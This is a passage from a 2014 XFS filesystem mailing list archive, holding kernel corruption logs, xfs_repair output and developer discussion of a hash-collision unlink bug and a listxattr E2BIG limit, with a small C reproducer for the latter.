23.439316] CPU: 1 PID: 178 Comm: kworker/1:1H Not tainted 3.13.6-200.fc20.x86_64 #1 [ 23.442614] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 23.445069] Workqueue: xfslogd xfs_buf_iodone_work [xfs] [ 23.447307] 0000000000000001 ffff8800db7bbd50 ffffffff8168730c ffff8800db97a000 [ 23.453139] ffff8800db7bbd68 ffffffffa00d10cb ffffffffa010c243 ffff8800db7bbda0 [ 23.465312] ffffffffa00d1125 000000badb7bbda0 ffff880117dd8600 ffff8800db97a000 [ 23.468831] Call Trace: [ 23.469950] [] dump_stack+0x45/0x56 [ 23.472269] [] xfs_error_report+0x3b/0x40 [xfs] [ 23.475774] [] ? xfs_dir3_leaf1_read_verify+0x13/0x20 [xfs] [ 23.480877] [] xfs_corruption_error+0x55/0x80 [xfs] [ 23.483665] [] __read_verify+0x76/0xf0 [xfs] [ 23.486227] [] ? xfs_dir3_leaf1_read_verify+0x13/0x20 [xfs] [ 23.489715] [] xfs_dir3_leaf1_read_verify+0x13/0x20 [xfs] [ 23.492707] [] xfs_buf_iodone_work+0x85/0xf0 [xfs] [ 23.495499] [] process_one_work+0x176/0x430 [ 23.499170] [] worker_thread+0x11b/0x3a0 [ 23.502038] [] ? rescuer_thread+0x350/0x350 [ 23.505033] [] kthread+0xd2/0xf0 [ 23.507504] [] ? insert_kthread_work+0x40/0x40 [ 23.510573] [] ret_from_fork+0x7c/0xb0 [ 23.513104] [] ? insert_kthread_work+0x40/0x40 [ 23.515687] XFS (vda1): Corruption detected. Unmount and run xfs_repair [ 23.520994] XFS (vda1): metadata I/O error: block 0x1212dd0 ("xfs_trans_read_buf_map") error 117 numblks 8 [ 23.521674] ffff88011898e000: 00 00 00 00 00 00 00 00 d2 f1 00 00 01 4d 00 92 .............M.. [ 23.521676] ffff88011898e010: 00 00 00 2e 00 00 00 02 00 00 17 2e 00 00 00 04 ................ [ 23.521677] ffff88011898e020: 14 10 19 e2 00 02 bc 02 14 10 19 e2 00 02 c2 a7 ................ [ 23.521678] ffff88011898e030: 14 10 19 e2 00 02 c5 d0 14 10 19 e2 00 02 c4 c8 ................ [ 23.521682] XFS (vda1): Internal error __read_verify at line 186 of file fs/xfs/xfs_dir2_leaf.c. Caller 0xffffffffa010c243 [ 23.521685] CPU: 1 PID: 178 Comm: kworker/1:1H Not tainted 3.13.6-200.fc20.x86_64 #1 [ 23.521685] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 23.521731] Workqueue: xfslogd xfs_buf_iodone_work [xfs] [ 23.521734] 0000000000000001 ffff8800db7bbd50 ffffffff8168730c ffff8800db97a000 [ 23.521736] ffff8800db7bbd68 ffffffffa00d10cb ffffffffa010c243 ffff8800db7bbda0 [ 23.521738] ffffffffa00d1125 000000badb7bbda0 ffff880117dd8600 ffff8800db97a000 [ 23.521738] Call Trace: [ 23.521745] [] dump_stack+0x45/0x56 [ 23.521764] [] xfs_error_report+0x3b/0x40 [xfs] [ 23.521788] [] ? xfs_dir3_leaf1_read_verify+0x13/0x20 [xfs] [ 23.521806] [] xfs_corruption_error+0x55/0x80 [xfs] [ 23.521829] [] __read_verify+0x76/0xf0 [xfs] [ 23.521852] [] ? xfs_dir3_leaf1_read_verify+0x13/0x20 [xfs] [ 23.521875] [] xfs_dir3_leaf1_read_verify+0x13/0x20 [xfs] [ 23.521893] [] xfs_buf_iodone_work+0x85/0xf0 [xfs] [ 23.521896] [] process_one_work+0x176/0x430 [ 23.521898] [] worker_thread+0x11b/0x3a0 [ 23.521900] [] ? rescuer_thread+0x350/0x350 [ 23.521902] [] kthread+0xd2/0xf0 [ 23.521905] [] ? insert_kthread_work+0x40/0x40 [ 23.521908] [] ret_from_fork+0x7c/0xb0 [ 23.521910] [] ? insert_kthread_work+0x40/0x40 [ 23.521911] XFS (vda1): Corruption detected. Unmount and run xfs_repair [ 23.522053] XFS (vda1): metadata I/O error: block 0x1212dd0 ("xfs_trans_read_buf_map") error 117 numblks 8 [ 23.767676] ffff88011898e000: 00 00 00 00 00 00 00 00 d2 f1 00 00 01 4d 00 92 .............M.. [ 23.767677] ffff88011898e010: 00 00 00 2e 00 00 00 02 00 00 17 2e 00 00 00 04 ................ [ 23.767678] ffff88011898e020: 14 10 19 e2 00 02 bc 02 14 10 19 e2 00 02 c2 a7 ................ [ 23.767680] ffff88011898e030: 14 10 19 e2 00 02 c5 d0 14 10 19 e2 00 02 c4 c8 ................ [ 23.767683] XFS (vda1): Internal error __read_verify at line 186 of file fs/xfs/xfs_dir2_leaf.c. Caller 0xffffffffa010c243 [ 23.767686] CPU: 1 PID: 178 Comm: kworker/1:1H Not tainted 3.13.6-200.fc20.x86_64 #1 [ 23.767686] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 23.767731] Workqueue: xfslogd xfs_buf_iodone_work [xfs] [ 23.767734] 0000000000000001 ffff8800db7bbd50 ffffffff8168730c ffff8800db97a000 [ 23.767736] ffff8800db7bbd68 ffffffffa00d10cb ffffffffa010c243 ffff8800db7bbda0 [ 23.767737] ffffffffa00d1125 000000badb7bbda0 ffff880117dd8600 ffff8800db97a000 [ 23.767738] Call Trace: [ 23.767744] [] dump_stack+0x45/0x56 [ 23.767763] [] xfs_error_report+0x3b/0x40 [xfs] [ 23.767840] [] ? xfs_dir3_leaf1_read_verify+0x13/0x20 [xfs] [ 23.767860] [] xfs_corruption_error+0x55/0x80 [xfs] [ 23.767884] [] __read_verify+0x76/0xf0 [xfs] [ 23.767908] [] ? xfs_dir3_leaf1_read_verify+0x13/0x20 [xfs] [ 23.767931] [] xfs_dir3_leaf1_read_verify+0x13/0x20 [xfs] [ 23.767950] [] xfs_buf_iodone_work+0x85/0xf0 [xfs] [ 23.767954] [] process_one_work+0x176/0x430 [ 23.767956] [] worker_thread+0x11b/0x3a0 [ 23.767958] [] ? rescuer_thread+0x350/0x350 [ 23.767961] [] kthread+0xd2/0xf0 [ 23.767963] [] ? insert_kthread_work+0x40/0x40 [ 23.767966] [] ret_from_fork+0x7c/0xb0 [ 23.767969] [] ? insert_kthread_work+0x40/0x40 [ 23.768005] XFS (vda1): Corruption detected. Unmount and run xfs_repair [ 23.768191] XFS (vda1): metadata I/O error: block 0x1212dd0 ("xfs_trans_read_buf_map") error 117 numblks 8 [ 23.768665] ffff8800d7fd2000: 00 00 00 00 00 00 00 00 d2 f1 00 00 01 4d 00 92 .............M.. [ 23.768666] ffff8800d7fd2010: 00 00 00 2e 00 00 00 02 00 00 17 2e 00 00 00 04 ................ [ 23.768667] ffff8800d7fd2020: 14 10 19 e2 00 02 bc 02 14 10 19 e2 00 02 c2 a7 ................ [ 23.768668] ffff8800d7fd2030: 14 10 19 e2 00 02 c5 d0 14 10 19 e2 00 02 c4 c8 ................ [ 23.768671] XFS (vda1): Internal error __read_verify at line 186 of file fs/xfs/xfs_dir2_leaf.c. Caller 0xffffffffa010c243 [ 23.768673] CPU: 1 PID: 178 Comm: kworker/1:1H Not tainted 3.13.6-200.fc20.x86_64 #1 [ 23.768674] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 23.768706] Workqueue: xfslogd xfs_buf_iodone_work [xfs] [ 23.768709] 0000000000000001 ffff8800db7bbd50 ffffffff8168730c ffff8800db97a000 [ 23.768710] ffff8800db7bbd68 ffffffffa00d10cb ffffffffa010c243 ffff8800db7bbda0 [ 23.768712] ffffffffa00d1125 000000badb7bbda0 ffff880117dd8600 ffff8800db97a000 [ 23.768712] Call Trace: [ 23.768718] [] dump_stack+0x45/0x56 [ 23.768737] [] xfs_error_report+0x3b/0x40 [xfs] [ 23.768761] [] ? xfs_dir3_leaf1_read_verify+0x13/0x20 [xfs] [ 23.768887] [] xfs_corruption_error+0x55/0x80 [xfs] [ 23.768911] [] __read_verify+0x76/0xf0 [xfs] [ 23.768934] [] ? xfs_dir3_leaf1_read_verify+0x13/0x20 [xfs] [ 23.768957] [] xr+0x55/0x80 [xfs] [ 23.864331] [] __read_verify+0x76/0xf0 [xfs] [ 23.864353] [] ? xfs_dir3_leaf1_read_verify+0x13/0x20 [xfs] [ 23.864376] [] xfs_dir3_leaf1_read_verify+0x13/0x20 [xfs] [ 23.864393] [] xfs_buf_iodone_work+0x85/0xf0 [xfs] [ 23.864417] [] process_one_work+0x176/0x430 [ 23.864419] [] worker_thread+0x11b/0x3a0 [ 23.864421] [] ? rescuer_thread+0x350/0x350 [ 23.864423] [] kthread+0xd2/0xf0 [ 23.864426] [] ? insert_kthread_work+0x40/0x40 [ 23.864428] [] ret_from_fork+0x7c/0xb0 [ 23.864430] [] ? insert_kthread_work+0x40/0x40 [ 23.864432] XFS (vda1): Corruption detected. Unmount and run xfs_repair [ 23.865270] XFS (vda1): metadata I/O error: block 0x1212dd0 ("xfs_trans_read_buf_map") error 117 numblks 8 [ 23.929267] ffff8800d7fd2000: 00 00 00 00 00 00 00 00 d2 f1 00 00 01 4d 00 92 .............M.. [ 23.929269] ffff8800d7fd2010: 00 00 00 2e 00 00 00 02 00 00 17 2e 00 00 00 04 ................ [ 23.929270] ffff8800d7fd2020: 14 10 19 e2 00 02 bc 02 14 10 19 e2 00 02 c2 a7 ................ [ 23.929271] ffff8800d7fd2030: 14 10 19 e2 00 02 c5 d0 14 10 19 e2 00 02 c4 c8 ................ [ 23.929274] XFS (vda1): Internal error __read_verify at line 186 of file fs/xfs/xfs_dir2_leaf.c. Caller 0xffffffffa010c243 [ 23.929277] CPU: 1 PID: 178 Comm: kworker/1:1H Not tainted 3.13.6-200.fc20.x86_64 #1 [ 23.929278] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 23.929323] Workqueue: xfslogd xfs_buf_iodone_work [xfs] [ 23.929325] 0000000000000001 ffff8800db7bbd50 ffffffff8168730c ffff8800db97a000 [ 23.929327] ffff8800db7bbd68 ffffffffa00d10cb ffffffffa010c243 ffff8800db7bbda0 [ 23.929329] ffffffffa00d1125 000000badb7bbda0 ffff880117dd8600 ffff8800db97a000 [ 23.929330] Call Trace: [ 23.929336] [] dump_stack+0x45/0x56 [ 23.929355] [] ? insert_kthread_work+0x40/0x40 [ 24.033302] [] ret_from_fork+0x7c/0xb0 [ 24.033304] [] ? insert_kthread_work+0x40/0x40 [ 24.033306] XFS (vda1): Corruption detected. Unmount and run xfs_repair [ 24.033511] XFS (vda1): metadata I/O error: block 0x1212dd0 ("xfs_trans_read_buf_map") error 117 numblks 8 [ 24.106127] ffff8800372a0000: 00 00 00 00 00 00 00 00 d2 f1 00 00 01 4d 00 92 .............M.. [ 24.106128] ffff8800372a0010: 00 00 00 2e 00 00 00 02 00 00 17 2e 00 00 00 04 ................ [ 24.106130] ffff8800372a0020: 14 10 19 e2 00 02 bc 02 14 10 19 e2 00 02 c2 a7 ................ [ 24.106131] ffff8800372a0030: 14 10 19 e2 00 02 c5 d0 14 10 19 e2 00 02 c4 c8 ................ [ 24.106134] XFS (vda1): Internal error __read_verify at line 186 of file fs/xfs/xfs_dir2_leaf.c. Caller 0xffffffffa010c243 [ 24.106137] CPU: 1 PID: 178 Comm: kworker/1:1H Not tainted 3.13.6-200.fc20.x86_64 #1 [ 24.106138] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 24.106182] Workqueue: xfslogd xfs_buf_iodone_work [xfs] [ 24.106185] 0000000000000001 ffff8800db7bbd50 ffffffff8168730c ffff8800db97a000 [ 24.106187] ffff8800db7bbd68 ffffffffa00d10cb ffffffffa010c243 ffff8800db7bbda0 [ 24.106189] ffffffffa00d1125 000000badb7bbda0 ffff880117dd8780 ffff8800db97a000 [ 24.106189] Call Trace: [ 24.106196] [] dump_stack+0x45/0x56 [ 24.106215] [] xfs_error_report+0x3b/0x40 [xfs] [ 24.106239] [] ? xfs_dir3_leaf1_read_verify+0x13/0x20 [xfs] [ 24.106257] [] xfs_corruption_error+0x55/0x80 [xfs] [ 24.106280] [] __read_verify+0x76/0xf0 [xfs] [ 24.106303] [] ? xfs_dir3_leaf1_read_verify+0x13/0x20 [xfs] [ 24.106326] [] xfs_dir3_leaf1_read_verify+0x13/0x20 [xfs] [ 24.106344] [] xfs_buf_iodone_work+0x85/0xf0 [xfs] [ 24.106347] [] process_one_work+0x176/0x430 [ 24.106349] [] worker_thread+0x11b/0x1H Not tainted 3.13.6-200.fc20.x86_64 #1 [ 24.282672] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 24.282672] Workqueue: xfslogd xfs_buf_iodone_work [xfs] [ 24.282672] 0000000000000001 ffff8800db7bbd50 ffffffff8168730c ffff8800db97a000 [ 24.282672] ffff8800db7bbd68 ffffffffa00d10cb ffffffffa010c243 ffff8800db7bbda0 [ 24.282672] ffffffffa00d1125 000000badb7bbda0 ffff880117dd8780 ffff8800db97a000 [ 24.282672] Call Trace: [ 24.282672] [] dump_stack+0x45/0x56 [ 24.282672] [] xfs_error_report+0x3b/0x40 [xfs] [ 24.282672] [] ? xfs_dir3_leaf1_read_verify+0x13/0x20 [xfs] [ 24.282672] [] xfs_corruption_error+0x55/0x80 [xfs] [ 24.282672] [] __read_verify+0x76/0xf0 [xfs] [ 24.282672] [] ? xfs_dir3_leaf1_read_verify+0x13/0x20 [xfs] [ 24.282672] [] xfs_dir3_leaf1_read_verify+0x13/0x20 [xfs] [ 24.282672] [] xfs_buf_iodone_work+0x85/0xf0 [xfs] [ 24.282672] [] process_one_work+0x176/0x430 [ 24.282672] [] worker_thread+0x11b/0x3a0 [ 24.282672] [] ? rescuer_thread+0x350/0x350 [ 24.282672] [] kthread+0xd2/0xf0 [ 24.282672] [] ? insert_kthread_work+0x40/0x40 [ 24.282672] [] ret_from_fork+0x7c/0xb0 [ 24.282672] [] ? insert_kthread_work+0x40/0x40 [ 24.282672] XFS (vda1): Corruption detected. Unmount and run xfs_repair [ 24.296557] XFS (vda1): metadata I/O error: block 0x1212dd0 ("xfs_trans_read_buf_map") error 117 numblks 8 [ 24.338934] ffff8800372a0000: 00 00 00 00 00 00 00 00 d2 f1 00 00 01 4d 00 92 .............M.. [ 24.338935] ffff8800372a0010: 00 00 00 2e 00 00 00 02 00 00 17 2e 00 00 00 04 ................ [ 24.338937] ffff8800372a0020: 14 10 19 e2 00 02 bc 02 14 10 19 e2 00 02 c2 a7 ................ [ 24.338938] ffff8800372a0030: 14 10 19 e2 00 02 c5 d0 14 10 19 e2 00 02 c4 c8 ................ [ 24.338941] XFS (vda1): Internal error __read_verify at line 186 of file fs/xfs/xfs_dir2_leaf.c. Caller 0xffffffffa010c243 [ 24.338945] CPU: 1 PID: 178 Comm: kworker/1:1H Not tainted 3.13.6-200.fc20.x86_64 #1 [ 24.338945] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 24.338992] Workqueue: xfslogd xfs_buf_iodone_work [xfs] [ 24.338995] 0000000000000001 ffff8800db7bbd50 ffffffff8168730c ffff8800db97a000 [ 24.338997] ffff8800db7bbd68 ffffffffa00d10cb ffffffffa010c243 ffff8800db7bbda0 [ 24.338999] ffffffffa00d1125 000000badb7bbda0 ffff880117dd8780 ffff8800db97a000 [ 24.339000] Call Trace: [ 24.339056] [] dump_stack+0x45/0x56 [ 24.339077] [] xfs_error_report+0x3b/0x40 [xfs] [ 24.339104] [] ? xfs_dir3_leaf1_read_verify+0x13/0x20 [xfs] [ 24.339124] [] xfs_corruption_error+0x55/0x80 [xfs] [ 24.339150] [] __read_verify+0x76/0xf0 [xfs] [ 24.339176] [] ? xfs_dir3_leaf1_read_verify+0x13/0x20 [xfs] [ 24.339202] [] xfs_dir3_leaf1_read_verify+0x13/0x20 [xfs] [ 24.339222] [] xfs_buf_iodone_work+0x85/0xf0 [xfs] [ 24.339225] [] process_one_work+0x176/0x430 [ 24.339227] [] worker_thread+0x11b/0x3a0 [ 24.339229] [] ? rescuer_thread+0x350/0x350 [ 24.339232] [] kthread+0xd2/0xf0 [ 24.339235] [] ? insert_kthread_work+0x40/0x40 [ 24.339238] [] ret_from_fork+0x7c/0xb0 [ 24.339240] [] ? insert_kthread_work+0x40/0x40 [ 24.339242] XFS (vda1): Corruption detected. Unmount and run xfs_repair [ 24.340307] XFS (vda1): metadata I/O error: block 0x1212dd0 ("xfs_trans_read_buf_map") error 117 numblks 8 Bye, Hannes From tinguely@sgi.com Thu Mar 27 10:15:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B8CA029DF7 for ; Thu, 27 Mar 2014 10:15:00 -0500 (CDT) Received: from eagdhcp-232-178.americas.sgi.com (eagdhcp-232-178.americas.sgi.com [128.162.232.178]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8779A304070; Thu, 27 Mar 2014 08:15:00 -0700 (PDT) Message-ID: <53344075.8050607@sgi.com> Date: Thu, 27 Mar 2014 10:15:01 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Hannes Frederic Sowa CC: xfs@oss.sgi.com Subject: Re: xfs errors while unlinking filenames with hash collisions References: <20140327074156.GJ29498@order.stressinduktion.org> <5334241E.9060708@sgi.com> <20140327132354.GU29498@order.stressinduktion.org> <533428D6.507@sgi.com> <20140327140556.GW29498@order.stressinduktion.org> In-Reply-To: <20140327140556.GW29498@order.stressinduktion.org> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit On 03/27/14 09:05, Hannes Frederic Sowa wrote: > On Thu, Mar 27, 2014 at 08:34:14AM -0500, Mark Tinguely wrote: >> On 03/27/14 08:23, Hannes Frederic Sowa wrote: >>> On Thu, Mar 27, 2014 at 08:14:06AM -0500, Mark Tinguely wrote: >>>> Have you tried to run a xfs_repair on the filesystem after the reboot? >>> >>> Yes, I did. I still use the filesystem and it works. As soon as I try to >>> remove the directory again the same splash from above happens again. >> >> Is it the latest xfsprogs' repair? >> >> Do you have the output from the repair still? > > I can easily test this here, so you can throw any commands and tests at > me. ;) > > This is the output: > > (I replayed the journal before that) > > pre-mount:/# xfs_repair -V > xfs_repair version 3.1.11 > pre-mount:/# xfs_repair -v /dev/vda1 > Phase 1 - find and verify superblock... > - block cache size set to 372848 entries > Phase 2 - using internal log > - zero log... > zero_log: head block 5071 tail block 5071 > - scan filesystem freespace and inode maps... > - found root inode chunk > Phase 3 - for each AG... > - scan and clear agi unlinked lists... > - process known inodes and perform inode discovery... > - agno = 0 > bad hash ordering in block 8388739 of directory inode 3543184 interesting. I will see if I can recreate it. Are you open to making it an xfstest? --Mark. From hannes@stressinduktion.org Thu Mar 27 10:24:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C383029DF7 for ; Thu, 27 Mar 2014 10:24:55 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 58BF4AC002 for ; Thu, 27 Mar 2014 08:24:52 -0700 (PDT) X-ASG-Debug-ID: 1395933889-04cbb054b98092c0001-NocioJ Received: from order.stressinduktion.org (order.stressinduktion.org [87.106.68.36]) by cuda.sgi.com with ESMTP id fAyE22c11bNAGf67 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 27 Mar 2014 08:24:50 -0700 (PDT) X-Barracuda-Envelope-From: hannes@stressinduktion.org X-Barracuda-Apparent-Source-IP: 87.106.68.36 Received: by order.stressinduktion.org (Postfix, from userid 500) id 22D6C1A0C2A1; Thu, 27 Mar 2014 16:24:49 +0100 (CET) Date: Thu, 27 Mar 2014 16:24:48 +0100 From: Hannes Frederic Sowa To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: xfs errors while unlinking filenames with hash collisions Message-ID: <20140327152448.GE29498@order.stressinduktion.org> X-ASG-Orig-Subj: Re: xfs errors while unlinking filenames with hash collisions References: <20140327074156.GJ29498@order.stressinduktion.org> <5334241E.9060708@sgi.com> <20140327132354.GU29498@order.stressinduktion.org> <533428D6.507@sgi.com> <20140327140556.GW29498@order.stressinduktion.org> <53344075.8050607@sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <53344075.8050607@sgi.com> X-Barracuda-Connect: order.stressinduktion.org[87.106.68.36] X-Barracuda-Start-Time: 1395933890 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4307 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Mar 27, 2014 at 10:15:01AM -0500, Mark Tinguely wrote: > On 03/27/14 09:05, Hannes Frederic Sowa wrote: > >On Thu, Mar 27, 2014 at 08:34:14AM -0500, Mark Tinguely wrote: > >>On 03/27/14 08:23, Hannes Frederic Sowa wrote: > >>>On Thu, Mar 27, 2014 at 08:14:06AM -0500, Mark Tinguely wrote: > >>>>Have you tried to run a xfs_repair on the filesystem after the reboot? > >>> > >>>Yes, I did. I still use the filesystem and it works. As soon as I try to > >>>remove the directory again the same splash from above happens again. > >> > >>Is it the latest xfsprogs' repair? > >> > >>Do you have the output from the repair still? > > > >I can easily test this here, so you can throw any commands and tests at > >me. ;) > > > >This is the output: > > > >(I replayed the journal before that) > > > >pre-mount:/# xfs_repair -V > >xfs_repair version 3.1.11 > >pre-mount:/# xfs_repair -v /dev/vda1 > >Phase 1 - find and verify superblock... > > - block cache size set to 372848 entries > >Phase 2 - using internal log > > - zero log... > >zero_log: head block 5071 tail block 5071 > > - scan filesystem freespace and inode maps... > > - found root inode chunk > >Phase 3 - for each AG... > > - scan and clear agi unlinked lists... > > - process known inodes and perform inode discovery... > > - agno = 0 > >bad hash ordering in block 8388739 of directory inode 3543184 > > interesting. I will see if I can recreate it. > > Are you open to making it an xfstest? Sure, I'll put it on my todo list for the weekend. Thanks, Hannes From sage@inktank.com Thu Mar 27 11:08:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5910329DF7 for ; Thu, 27 Mar 2014 11:08:04 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3E7E08F804C for ; Thu, 27 Mar 2014 09:08:01 -0700 (PDT) X-ASG-Debug-ID: 1395936479-04cb6c56759eeb60001-NocioJ Received: from cobra.newdream.net (cobra.newdream.net [66.33.216.30]) by cuda.sgi.com with ESMTP id iFRrkrJMEPjcQvY8 for ; Thu, 27 Mar 2014 09:07:59 -0700 (PDT) X-Barracuda-Envelope-From: sage@inktank.com X-Barracuda-Apparent-Source-IP: 66.33.216.30 Received: from cobra.newdream.net (localhost [127.0.0.1]) by cobra.newdream.net (Postfix) with ESMTP id 139BE80466; Thu, 27 Mar 2014 09:07:59 -0700 (PDT) Received: by cobra.newdream.net (Postfix, from userid 1031) id ECC8180486; Thu, 27 Mar 2014 09:07:58 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by cobra.newdream.net (Postfix) with ESMTP id D702C80466; Thu, 27 Mar 2014 09:07:58 -0700 (PDT) Date: Thu, 27 Mar 2014 09:07:58 -0700 (PDT) From: Sage Weil X-X-Sender: sage@cobra.newdream.net To: Brian Foster cc: xfs@oss.sgi.com Subject: Re: E2BIG from listxattr In-Reply-To: <20140326213548.GB4128@laptop.bfoster> X-ASG-Orig-Subj: Re: E2BIG from listxattr Message-ID: References: <20140326213548.GB4128@laptop.bfoster> User-Agent: Alpine 2.00 (DEB 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Connect: cobra.newdream.net[66.33.216.30] X-Barracuda-Start-Time: 1395936479 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4307 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, 26 Mar 2014, Brian Foster wrote: > On Tue, Mar 25, 2014 at 10:48:08PM -0700, Sage Weil wrote: > > Hi, > > > > If you create a bunch of xattrs on an inode, you can get into a sitation > > where you can no longer list them. The reproducer below just does > > setxattr until it gets an error or listxattr starts returning E2BIG. Once > > you're in this state you can getxattr attrs you know the name of, but you > > can't list them, which is a bit inconvenient. > > > > Presumably the fix is for setxattr to verify that the list of all xattr > > names will fit into a 64K buffer or else return ENOSPC... > > > > Hi Sage, > > I think doing something like this would be an artificial restriction on > XFS. The listxattr() function in the vfs actually caps the provided > buffer to 64k. This in turn causes an error in XFS, which is capable of > filling a larger buffer, and the VFS converts that error into E2BIG. > > I ran a quick experiment to remove that bit of code from listxattr() and > modified your program to use a 128k buffer. Everything still seems to > work Ok until I exhaust that buffer. Given that and the fact that > listxattr() does an allocation of the user-provided size, I suspect the > 64k restriction here is some kind of policy based on memory allocation, > but that's a guess. The right fix might be something more involved, such > as fixing the interface to handle larger sets of data (e.g., copy direct > to a user buffer, or introduce an iterative interface, etc.). Hi Brian, I don't have a real preference whether the solution is to allow larger buffers or to error out of setxattr even though XFS could handle it, as long as it is no longer possible for an XFS user to get into this state where there is no (easy) way to recover. I think we've hard-coded Ceph to only try up to 64 KB here, but I don't see that limitation documented anywhere and a savvy user can pass in a NULL buffer to get an appropriate length back. In our case, we only hit this limit when something else has already gone a bit off the rails, so getting ENOSPC is just fine. sage > > Brian > > > sage > > > > > > #include > > #include > > #include > > #include > > #include > > #include > > > > int main(int argc, char **argv) > > { > > char *fn = argv[1]; > > char buf[655360]; > > int buflen = sizeof(buf); > > int i; > > > > for (i = 0; i < 10000; ++i) { > > int r = listxattr(fn, buf, buflen); > > if (r < 0) { > > perror("listxattr"); > > return 1; > > } > > char n[100]; > > sprintf(n, "user.foooooooooooooooooooooooooooooooooooooo%d", i); > > r = setxattr(fn, n, "", 0, 0); > > if (r < 0) { > > perror("setxattr"); > > return 1; > > } > > printf("set %d\n", i); > > } > > return 0; > > } > > > > _______________________________________________ > > xfs mailing list > > xfs@oss.sgi.com > > http://oss.sgi.com/mailman/listinfo/xfs > > From fdmanana@gmail.com Thu Mar 27 15:18:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 12DB57F3F for ; Thu, 27 Mar 2014 15:18:59 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 05BD0304070 for ; Thu, 27 Mar 2014 13:18:55 -0700 (PDT) X-ASG-Debug-ID: 1395951533-04cbb054b881fc50001-NocioJ Received: from mail-we0-f179.google.com (mail-we0-f179.google.com [74.125.82.179]) by cuda.sgi.com with ESMTP id bBgkovKcOASkzhLv (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 27 Mar 2014 13:18:53 -0700 (PDT) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.179 Received: by mail-we0-f179.google.com with SMTP id x48so2110062wes.38 for ; Thu, 27 Mar 2014 13:18:52 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=raFmiGV72EVJtyht4vt+h5nP/p++mEd2jaG1PR1FJuU=; b=L699UE+6DRrNLVUSeMqGSnuBqLDBN/ejvk4+KqhVbNf43Nche2QsJxbbNML4c8EU7U lVjxrePuap5A9rPC6TyVQCroKvRLPEcAJhvqOdMZb5CgAQxd96ZLonwl8/3k0+1Knflb kpyE59GIUIyRFh/qB2bZ7kwfIhsR/xRcr52PfSWw7pbxHfuZSGq/hK2Bac/4ceNI6A80 XWZAqZ1Q6yHld0Ac2jsz0+9be5galKEJ+O+/11DchtfGqEB/BlxJEi4j5Et2oR8nvTzz 